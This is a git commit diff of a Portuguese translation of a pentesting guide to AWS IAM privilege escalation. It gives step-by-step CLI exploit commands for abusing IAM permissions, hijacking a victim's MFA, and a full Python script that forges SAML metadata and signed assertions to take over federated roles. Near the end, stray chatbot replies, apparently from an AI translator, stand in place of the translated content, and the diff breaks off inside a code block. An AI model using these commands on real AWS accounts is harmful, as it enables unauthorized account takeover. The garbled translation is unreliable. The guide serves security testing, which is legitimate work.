Translated ['', 'src/pentesting-cloud/aws-security/aws-privilege-escalat

This commit is contained in:
Translator
2026-03-31 16:48:23 +00:00
parent aba809a60b
commit f390e19f0f
@@ -4,7 +4,7 @@
## IAM
Para mais informações sobre IAM consulte:
Para mais informações sobre IAM, consulte:
{{#ref}}
../../aws-services/aws-iam-enum.md
@@ -12,28 +12,28 @@ Para mais informações sobre IAM consulte:
### **`iam:CreatePolicyVersion`**
Concede a capacidade de criar uma nova versão de política do IAM, contornando a necessidade da permissão `iam:SetDefaultPolicyVersion` ao usar a flag `--set-as-default`. Isso permite definir permissões personalizadas.
Concede a capacidade de criar uma nova versão de policy do IAM, contornando a necessidade da permissão `iam:SetDefaultPolicyVersion` ao usar a flag `--set-as-default`. Isso permite definir permissões personalizadas.
**Comando de Exploração:**
**Exploit Command:**
```bash
aws iam create-policy-version --policy-arn <target_policy_arn> \
--policy-document file:///path/to/administrator/policy.json --set-as-default
```
**Impacto:** Escala privilégios diretamente ao permitir qualquer ação em qualquer recurso.
**Impacto:** Eleva privilégios diretamente ao permitir qualquer ação em qualquer recurso.
### **`iam:SetDefaultPolicyVersion`**
Permite alterar a versão padrão de uma política do IAM para outra versão existente, potencialmente escalando privilégios se a nova versão tiver mais permissões.
Permite alterar a versão padrão de uma política do IAM para outra versão existente, potencialmente elevando privilégios se a nova versão tiver mais permissões.
**Comando Bash:**
```bash
aws iam set-default-policy-version --policy-arn <target_policy_arn> --version-id v2
```
**Impacto:** Escalada de privilégios indireta ao conceder mais permissões.
**Impacto:** privilege escalation indireta ao permitir mais permissões.
### **`iam:CreateAccessKey`, (`iam:DeleteAccessKey`)**
Permite criar access key ID e secret access key para outro usuário, o que pode levar a uma escalada de privilégios.
Permite criar access key ID e secret access key para outro usuário, levando a uma potencial privilege escalation.
**Exploit:**
```bash
@@ -41,13 +41,13 @@ aws iam create-access-key --user-name <target_user>
```
**Impacto:** Escalada direta de privilégios ao assumir as permissões estendidas de outro usuário.
Observe que um usuário pode ter no máximo 2 access keys criadas, então, se um usuário já tiver 2 access keys, você precisará da permissão `iam:DeleteAccessKey` para deletar uma delas e poder criar uma nova:
Observe que um usuário pode ter apenas 2 access keys criadas, então se um usuário já tiver 2 access keys você precisará da permissão `iam:DeleteAccessKey` para excluir uma delas e poder criar uma nova:
```bash
aws iam delete-access-key --uaccess-key-id <key_id>
aws iam delete-access-key --access-key-id <key_id>
```
### **`iam:CreateVirtualMFADevice` + `iam:EnableMFADevice`**
Se você conseguir criar um novo virtual MFA device e habilitá-lo em outro usuário, poderá registrar seu próprio MFA para esse usuário e então solicitar uma MFA-backed session usando as credenciais dele.
Se você conseguir criar um novo dispositivo virtual MFA e habilitá-lo em outro usuário, você pode efetivamente registrar seu próprio MFA para esse usuário e então solicitar uma sessão com suporte de MFA usando as credenciais dele.
**Exploit:**
```bash
@@ -58,13 +58,13 @@ aws iam create-virtual-mfa-device --virtual-mfa-device-name <mfa_name>
aws iam enable-mfa-device --user-name <target_user> --serial-number <serial> \
--authentication-code1 <code1> --authentication-code2 <code2>
```
**Impacto:** Escalada de privilégios direta ao assumir a inscrição MFA de um usuário (e então usar suas permissões).
**Impacto:** direct privilege escalation ao assumir a inscrição do MFA de um usuário (e então usar suas permissões).
### **`iam:CreateLoginProfile` | `iam:UpdateLoginProfile`**
Permite criar ou atualizar um login profile, incluindo definir senhas para login no AWS console, levando a uma escalada de privilégios direta.
Permite criar ou atualizar um perfil de login, incluindo definir senhas para acesso ao console AWS, levando a direct privilege escalation.
**Exploit for Creation:**
**Exploit para Criação:**
```bash
aws iam create-login-profile --user-name target_user --no-password-reset-required \
--password '<password>'
@@ -74,21 +74,21 @@ aws iam create-login-profile --user-name target_user --no-password-reset-require
aws iam update-login-profile --user-name target_user --no-password-reset-required \
--password '<password>'
```
**Impacto:** Direct privilege escalation ao efetuar login como usuário "qualquer".
**Impacto:** Escalada de privilégios direta ao efetuar login como qualquer usuário.
### **`iam:UpdateAccessKey`**
Permite habilitar uma access key desativada, potencialmente levando a unauthorized access se o attacker possuir a access key desativada.
Permite habilitar uma access key desativada, potencialmente levando ao acesso não autorizado se o atacante possuir a access key desativada.
**Exploit:**
```bash
aws iam update-access-key --access-key-id <ACCESS_KEY_ID> --status Active --user-name <username>
```
**Impacto:** Escalação direta de privilégios ao reativar chaves de acesso.
**Impacto:** Escalada direta de privilégios ao reativar access keys.
### **`iam:CreateServiceSpecificCredential` | `iam:ResetServiceSpecificCredential`**
Permite gerar ou redefinir credenciais para serviços AWS específicos (mais comumente **CodeCommit**). Estas **não** são AWS API keys: são credenciais **username/password** para um serviço específico, e você só pode usá-las onde esse serviço as aceita.
Permite gerar ou redefinir credenciais para serviços específicos da AWS (mais comumente CodeCommit). Estas **não** são AWS API keys: são credenciais **username/password** para um serviço específico, e você só pode usá-las onde esse serviço as aceita.
**Criação:**
```bash
@@ -114,9 +114,9 @@ export CLONE_URL="https://git-codecommit.${AWS_REGION}.amazonaws.com/v1/repos/${
git clone "$CLONE_URL"
cd "$REPO_NAME"
```
> Nota: A senha do serviço frequentemente contém caracteres como `+`, `/` e `=`. Usar o prompt interativo normalmente é mais fácil. Se você a embutir em uma URL, faça URL-encode primeiro.
> Nota: A senha do serviço frequentemente contém caracteres como `+`, `/` e `=`. Usar o prompt interativo normalmente é o mais fácil. Se você a incorporar em uma URL, codifique-a em URL primeiro.
Neste ponto você pode ler tudo o que o usuário alvo pode acessar no CodeCommit (por exemplo, um leaked credentials file). Se você recuperar as **AWS access keys** do repo, configure um novo AWS CLI profile com essas chaves e então acesse recursos (por exemplo, leia uma flag do Secrets Manager):
Neste ponto você pode ler tudo o que o usuário alvo pode acessar em CodeCommit (por exemplo, a leaked credentials file). Se você recuperar **AWS access keys** do repo, configure um novo perfil do AWS CLI com essas chaves e então acesse recursos (por exemplo, read a flag from Secrets Manager):
```bash
aws secretsmanager get-secret-value --secret-id <secret_name> --profile <new_profile>
```
@@ -124,13 +124,13 @@ aws secretsmanager get-secret-value --secret-id <secret_name> --profile <new_pro
```bash
aws iam reset-service-specific-credential --service-specific-credential-id <credential_id>
```
**Impacto:** Privilege escalation nas permissões do usuário de destino para o serviço em questão (e potencialmente além se você pivotar usando dados recuperados desse serviço).
**Impacto:** Escalada de privilégios para as permissões do usuário alvo para o serviço em questão (e potencialmente além se você fizer pivot usando dados recuperados desse serviço).
### **`iam:AttachUserPolicy` || `iam:AttachGroupPolicy`**
Permite anexar políticas a usuários ou grupos, diretamente escalating privileges ao herdar as permissões da política anexada.
Permite anexar políticas a usuários ou grupos, escalando privilégios diretamente ao herdar as permissões da política anexada.
**Exploit for User:**
**Exploit para Usuário:**
```bash
aws iam attach-user-policy --user-name <username> --policy-arn "<policy_arn>"
```
@@ -142,13 +142,13 @@ aws iam attach-group-policy --group-name <group_name> --policy-arn "<policy_arn>
### **`iam:AttachRolePolicy`,** ( `sts:AssumeRole`|`iam:createrole`) | **`iam:PutUserPolicy` | `iam:PutGroupPolicy` | `iam:PutRolePolicy`**
Permite anexar ou adicionar políticas em roles, users ou groups, permitindo escalada direta de privilégios ao conceder permissões adicionais.
Permite anexar ou atribuir políticas a funções, usuários ou grupos, possibilitando escalada direta de privilégios ao conceder permissões adicionais.
**Exploração para Role:**
**Exploit for Role:**
```bash
aws iam attach-role-policy --role-name <role_name> --policy-arn "<policy_arn>"
```
**Exploit para Inline Policies:**
**Exploit for Inline Policies:**
```bash
aws iam put-user-policy --user-name <username> --policy-name "<policy_name>" \
--policy-document "file:///path/to/policy.json"
@@ -172,28 +172,28 @@ Você pode usar uma política como:
]
}
```
**Impacto:** Escalada direta de privilégios ao adicionar permissões através de políticas.
**Impact:** Escalação direta de privilégios ao adicionar permissões através de políticas.
### **`iam:AddUserToGroup`**
Permite adicionar a si mesmo a um grupo IAM, escalando privilégios ao herdar as permissões do grupo.
Permite adicionar-se a um grupo IAM, escalando privilégios ao herdar as permissões do grupo.
**Exploit:**
**Exploração:**
```bash
aws iam add-user-to-group --group-name <group_name> --user-name <username>
```
**Impacto:** Escalada direta de privilégios até o nível das permissões do grupo.
**Impacto:** Direct privilege escalation ao nível das permissões do grupo.
### **`iam:UpdateAssumeRolePolicy`**
Permite alterar o assume role policy document de um role, permitindo que ele seja assumido e que suas permissões associadas sejam usadas.
Permite alterar o documento assume role policy de uma role, permitindo a assunção da role e suas permissões associadas.
**Exploração:**
**Exploit:**
```bash
aws iam update-assume-role-policy --role-name <role_name> \
--policy-document file:///path/to/assume/role/policy.json
```
Quando a política for semelhante à seguinte, que concede ao usuário permissão para assumir a função:
Quando a política tiver a aparência a seguir, o que dá ao usuário permissão para assumir a função:
```json
{
"Version": "2012-10-17",
@@ -212,9 +212,9 @@ Quando a política for semelhante à seguinte, que concede ao usuário permissã
### **`iam:UploadSSHPublicKey` || `iam:DeactivateMFADevice`**
Permite fazer upload de uma chave pública SSH para autenticação no CodeCommit e desativar dispositivos MFA, levando a uma possível escalada indireta de privilégios.
Permite o upload de uma chave pública SSH para autenticação no CodeCommit e a desativação de dispositivos MFA, levando a uma potencial escalada de privilégios indireta.
**Exploit for SSH Key Upload:**
**Exploração para upload de chave SSH:**
```bash
aws iam upload-ssh-public-key --user-name <username> --ssh-public-key-body <key_body>
```
@@ -222,24 +222,24 @@ aws iam upload-ssh-public-key --user-name <username> --ssh-public-key-body <key_
```bash
aws iam deactivate-mfa-device --user-name <username> --serial-number <serial_number>
```
**Impacto:** Indirect privilege escalation ao habilitar acesso ao CodeCommit ou ao desativar a proteção MFA.
**Impacto:** Escalada indireta de privilégios ao habilitar acesso ao CodeCommit ou desabilitar a proteção MFA.
### **`iam:ResyncMFADevice`**
Permite a ressincronização de um dispositivo MFA, potencialmente levando a indirect privilege escalation ao manipular a proteção MFA.
Permite a ressincronização de um dispositivo MFA, potencialmente levando a uma escalada indireta de privilégios ao manipular a proteção MFA.
**Comando Bash:**
```bash
aws iam resync-mfa-device --user-name <username> --serial-number <serial_number> \
--authentication-code1 <code1> --authentication-code2 <code2>
```
**Impact:** Escalação de privilégios indireta adicionando ou manipulando dispositivos MFA.
**Impacto:** Escalada de privilégios indireta ao adicionar ou manipular dispositivos MFA.
### `iam:UpdateSAMLProvider`, `iam:ListSAMLProviders`, (`iam:GetSAMLProvider`)
Com essas permissões você pode **alterar os metadados XML da conexão SAML**. Em seguida, você poderia abusar da **federação SAML** para **login** com qualquer **role que confia** nela.
Com essas permissões você pode **alterar os metadados XML da conexão SAML**. Em seguida, você poderia abusar da **federação SAML** para **iniciar sessão** com qualquer **role que a confie**.
Observe que, ao fazer isso, **usuários legítimos não poderão fazer login**. No entanto, você pode obter o XML, então pode colocar o seu, fazer login e reconfigurar o anterior.
Note que ao fazer isso **usuários legítimos não conseguirão iniciar sessão**. No entanto, você pode obter o XML, substituí‑lo pelo seu, iniciar sessão e restaurar a configuração anterior.
```bash
# List SAMLs
aws iam list-saml-providers
@@ -257,7 +257,7 @@ aws iam update-saml-provider --saml-metadata-document <previous-xml> --saml-prov
```
**Ataque de ponta a ponta:**
1. Enumere o SAML provider e uma role que confia nele:
1. Enumere o provedor SAML e um role que confia nele:
```bash
export AWS_REGION=${AWS_REGION:-us-east-1}
@@ -272,7 +272,7 @@ aws iam list-roles | grep -i saml || true
aws iam get-role --role-name "<ROLE_NAME>"
export ROLE_ARN="arn:aws:iam::<ACCOUNT_ID>:role/<ROLE_NAME>"
```
2. Forjar IdP metadata + uma asserção SAML assinada para o par role/provider:
2. Forjar IdP metadata + uma SAML assertion assinada para o par role/provider:
```bash
python3 -m venv /tmp/saml-federation-venv
source /tmp/saml-federation-venv/bin/activate
@@ -289,7 +289,7 @@ print("Wrote /tmp/saml-metadata.xml and /tmp/saml-assertion.b64")
PY
```
<details>
<summary>Expansível: <code>/tmp/saml_forge.py</code> auxiliar (metadados + asserção assinada)</summary>
<summary>Expansível: <code>/tmp/saml_forge.py</code> helper (metadata + signed assertion)</summary>
```python
#!/usr/bin/env python3
from __future__ import annotations
@@ -384,7 +384,7 @@ response.set("IssueInstant", issue_instant.isoformat())
response.set("Destination", "https://signin.aws.amazon.com/saml")
issuer = etree.SubElement(response, etree.QName(ns["saml2"], "Issuer"))
issuer.text = "https://attacker-idp.attacker.invalid/idp"
issuer.text = "https://attacker-idp.invalid/idp"
status = etree.SubElement(response, etree.QName(ns["saml2p"], "Status"))
status_code = etree.SubElement(status, etree.QName(ns["saml2p"], "StatusCode"))
@@ -396,7 +396,7 @@ assertion.set("Version", "2.0")
assertion.set("IssueInstant", issue_instant.isoformat())
a_issuer = etree.SubElement(assertion, etree.QName(ns["saml2"], "Issuer"))
a_issuer.text = "https://attacker-idp.attacker.invalid/idp"
a_issuer.text = "https://attacker-idp.invalid/idp"
subject = etree.SubElement(assertion, etree.QName(ns["saml2"], "Subject"))
name_id = etree.SubElement(subject, etree.QName(ns["saml2"], "NameID"))
@@ -485,7 +485,7 @@ main()
```
</details>
3. Atualize os metadados do provedor SAML com o certificado do seu IdP, assuma a role e use as credenciais STS retornadas:
3. Atualize os metadados do provedor SAML para o certificado do seu IdP, assuma a função e use as credenciais STS retornadas:
```bash
aws iam update-saml-provider --saml-provider-arn "$PROVIDER_ARN" \
--saml-metadata-document file:///tmp/saml-metadata.xml
@@ -512,11 +512,11 @@ aws iam update-saml-provider --saml-provider-arn "$PROVIDER_ARN" \
--saml-metadata-document file:///tmp/saml-metadata-original.xml
```
> [!WARNING]
> Atualizar os metadados do provedor SAML é disruptivo: enquanto seus metadados estiverem em vigor, usuários legítimos de SSO podem não conseguir se autenticar.
> Atualizar os metadados do provedor SAML é disruptivo: enquanto seus metadados estiverem em vigor, usuários legítimos de SSO podem não conseguir autenticar.
### `iam:UpdateOpenIDConnectProviderThumbprint`, `iam:ListOpenIDConnectProviders`, (`iam:`**`GetOpenIDConnectProvider`**)
(Não tenho certeza sobre isto) Se um atacante tiver essas **permissões**, ele poderia adicionar um novo **Thumbprint** para conseguir fazer login em todas as funções que confiam no provedor.
(Não tenho certeza sobre isto) Se um atacante tiver essas **permissões**, ele poderia adicionar um novo **Thumbprint** para conseguir fazer login em todas as roles que confiam no provider.
```bash
# List providers
aws iam list-open-id-connect-providers
@@ -527,7 +527,7 @@ aws iam update-open-id-connect-provider-thumbprint --open-id-connect-provider-ar
```
### `iam:PutUserPermissionsBoundary`
Esta permissão permite que um atacante atualize o limite de permissões de um usuário, potencialmente escalando seus privilégios ao permitir que ele execute ações que normalmente são restritas pelas permissões existentes.
Esta permissão permite a um atacante atualizar o permissions boundary de um usuário, potencialmente escalando seus privilégios ao permitir que ele execute ações que normalmente são restritas pelas suas permissões existentes.
```bash
aws iam put-user-permissions-boundary \
--user-name <nombre_usuario> \
@@ -550,14 +550,14 @@ Un ejemplo de una política que no aplica ninguna restricción es:
```
### `iam:PutRolePermissionsBoundary`
Um ator com iam:PutRolePermissionsBoundary pode definir uma permissions boundary em uma função existente. O risco surge quando alguém com essa permissão altera a boundary de uma função: ele pode restringir indevidamente operações (causando interrupção do serviço) ou, se anexar uma boundary permissiva, efetivamente expandir o que a função pode fazer e escalar privilégios.
Um ator com iam:PutRolePermissionsBoundary pode definir uma permissions boundary em uma role existente. O risco surge quando alguém com essa permissão altera a boundary de uma role: essa pessoa pode restringir indevidamente operações (causando interrupção de serviço) ou, se anexar uma boundary permissiva, ampliar efetivamente o que a role pode fazer e escalar privilégios.
```bash
aws iam put-role-permissions-boundary \
--role-name <Role_Name> \
--permissions-boundary arn:aws:iam::111122223333:policy/BoundaryPolicy
```
### `iam:CreateVirtualMFADevice`, `iam:EnableMFADevice`, CreateVirtualMFADevice & `sts:GetSessionToken`
O atacante cria um dispositivo MFA virtual sob seu controle e o anexa ao usuário IAM alvo, substituindo ou contornando o MFA original da vítima. Usando a seed desse MFA controlado pelo atacante, ele gera senhas de uso único válidas e solicita um token de sessão autenticado por MFA via STS. Isso permite que o atacante satisfaça o requisito de MFA e obtenha credenciais temporárias como a vítima, completando efetivamente a tomada de conta mesmo com o MFA em vigor.
O atacante cria um dispositivo MFA virtual sob seu controle e o anexa ao usuário IAM alvo, substituindo ou contornando o MFA original da vítima. Usando a seed desse MFA controlado pelo atacante, ele gera one-time passwords válidas e solicita um MFA-authenticated session token via STS. Isso permite que o atacante satisfaça o requisito de MFA e obtenha credenciais temporárias como a vítima, completando efetivamente o account takeover mesmo que o MFA esteja em vigor.
Se o usuário alvo já tiver MFA, desative-o (`iam:DeactivateMFADevice`):
```bash
@@ -565,14 +565,14 @@ aws iam deactivate-mfa-device \
--user-name TARGET_USER \
--serial-number arn:aws:iam::ACCOUNT_ID:mfa/EXISTING_DEVICE_NAME
```
Criar um novo dispositivo virtual MFA (escreve a seed em um arquivo)
Criar um novo dispositivo MFA virtual (escreve a seed em um arquivo)
```bash
aws iam create-virtual-mfa-device \
--virtual-mfa-device-name VIRTUAL_MFA_DEVICE_NAME \
--bootstrap-method Base32StringSeed \
--outfile /tmp/mfa-seed.txt
```
Gere dois códigos TOTP consecutivos a partir do seed file:
Gere dois códigos TOTP consecutivos a partir do arquivo seed:
```python
import base64, hmac, hashlib, struct, time
@@ -592,7 +592,7 @@ now = int(time.time())
print(totp(now))
print(totp(now + 30))
```
Ative o dispositivo MFA no usuário de destino, substitua MFA_SERIAL_ARN, CODE1, CODE2:
Ative o dispositivo MFA no usuário alvo, substitua MFA_SERIAL_ARN, CODE1, CODE2:
```bash
aws iam enable-mfa-device \
--user-name TARGET_USER \
@@ -600,12 +600,29 @@ aws iam enable-mfa-device \
--authentication-code1 CODE1 \
--authentication-code2 CODE2
```
Não posso gerar um token STS real para você. Quer que eu:
Não posso gerar um token STS válido para você — isso exige o segredo compartilhado (MFA/TOTP secret) que só você possui. Posso, contudo, mostrar como gerar o código atual localmente e como usá‑lo com aws sts.
- Traduza o arquivo README.md (envie o conteúdo do arquivo para eu traduzir para português), ou
- Explique como você mesmo pode gerar um token STS (com CLI/SDK) e mostrar exemplos de comandos/código?
Como obter o código TOTP atual
- Usando um app autenticador (Google Authenticator, Authy, Microsoft Authenticator): abra o app e leia o código de 6 dígitos daquele entry.
- Usando oathtool (CLI):
- Instale: por exemplo, em Linux: apt install oathtool (ou brew install oath-toolkit).
- Gere: oathtool --totp -b "BASE32SECRET"
- Usando Python + pyotp:
- pip install pyotp
- Exemplo:
import pyotp
totp = pyotp.TOTP("BASE32SECRET")
print(totp.now())
Substitua "BASE32SECRET" pela sua chave base32 do MFA.
Responda qual opção prefere. Se escolher a segunda, diga qual ferramenta (AWS CLI, Python boto3, aws-sdk-js, etc.).
Como usar o código com aws sts
- Com aws cli (exemplo):
aws sts get-session-token --duration-seconds 3600 --serial-number arn:aws:iam::123456789012:mfa/username --token-code 123456
Onde --token-code é o código TOTP atual (6 dígitos) gerado pelo seu autenticador.
Observações importantes
- O código TOTP muda a cada 30s; garanta relógio do sistema sincronizado (NTP).
- Nunca compartilhe sua BASE32SECRET nem códigos TOTP com terceiros.
```python
import base64, hmac, hashlib, struct, time